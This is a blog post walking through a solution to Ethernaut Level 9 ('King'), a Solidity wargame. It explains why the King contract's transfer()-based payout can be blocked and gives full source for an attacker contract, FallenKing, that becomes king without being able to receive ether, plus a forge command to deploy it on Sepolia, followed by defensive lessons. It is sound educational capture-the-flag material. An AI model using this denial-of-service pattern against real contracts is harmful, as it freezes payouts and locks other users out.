Read the article directly on my blog: Ethernaut Solutions | Level 9 - King
In this level, the goal is to become the king and then make sure that the contract is not able to transfer the prize to the next king. In other words, we have to become king and then break the game.
This requires an understanding of how the now-considered deprecated transfer
works in solidity. This function throws an error if the transfer fails, but doesn't return a boolean value. This means that if the transfer fails, the transaction will revert.
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
First, we need to check the prize
function to see how much ether is required to pass the require
statement and become king.
Now, that we are king, how can we make sure that no one else can dethrone us? How to make sure the transfer()
function reverts systematically after us? The answer is pretty simple, we just need to make sure that our king contract can't receive any ether. As long as no receive()
or fallback()
function is defined, the contract will not be able to receive any ether via the King contract, which will effectively prevent anyone from becoming the new king after us.
Deploy a contract that can't receive ether via the "normal" way (no receive()
or fallback()
functions).
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IKing {
function prize() external returns (uint256);
}
contract FallenKing {
address private immutable king;
constructor(address _king) {
king = _king;
}
function attack() external payable {
uint256 prize = IKing(king).prize();
(bool success, ) = king.call{value: prize}("");
require(success, "Transfer failed");
}
}
Then, you can use forge scripts to deploy this contract and call the attack
function:
forge script script/09_King.s.sol:PoC --rpc-url sepolia --broadcast --watch
send
andtransfer
are now considered deprecated. They should be replaced bycall
with a proper Check-Effect-Interaction pattern to prevent re-entrancy.- External calls must be used with caution and must handle errors properly.
https://blog.chain.link/defi-security-best-practices/ https://www.kingoftheether.com/postmortem.html